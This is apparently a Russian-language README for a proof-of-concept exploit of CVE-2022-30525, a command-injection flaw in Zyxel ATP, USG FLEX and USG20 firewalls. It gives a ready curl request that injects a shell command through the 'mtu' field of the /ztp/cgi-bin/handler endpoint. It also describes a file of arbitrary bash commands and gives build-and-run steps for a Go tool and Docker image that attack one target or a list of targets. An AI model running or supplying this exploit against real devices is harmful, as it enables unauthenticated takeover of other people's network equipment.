
Начальный PoC для CVE-2022-30525
Rapid7 обнаружила и сообщила об уязвимости, затрагивающей межсетевые экраны Zyxel с поддержкой Zero Touch Provisioning (ZTP), включая серии ATP, VPN и USG FLEX (включая USG20-VPN и USG20W-VPN). Данная уязвимость, идентифицированная как CVE-2022-30525, позволяет неаутентифицированному удаленному злоумышленнику выполнить произвольный код от имени пользователя nobody на уязвимом устройстве.
В следующей таблице приведены уязвимые модели и версии прошивки.
Уязвимая модель USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 по ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 по ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 по ZLD5.21 Patch 1
Серия VPN, также поддерживающая ZTP, не уязвима, поскольку не поддерживает требуемую функциональность.
Уязвимые модели подвержены неаутентифицированному удаленному внедрению команд через административный HTTP-интерфейс. Команды выполняются от имени пользователя nobody. Эта уязвимость эксплуатируется через URI /ztp/cgi-bin/handler.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
Следует создать файл cmds, в который можно добавлять команды для выполнения программой в следующем формате:
bash -c "command#1 && command#2 && etc."
Например:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
Где INPUT_FILE — это целевой URL или файл со списком целей.
Вы можете связаться со мной через Keybase для получения дополнительной информации.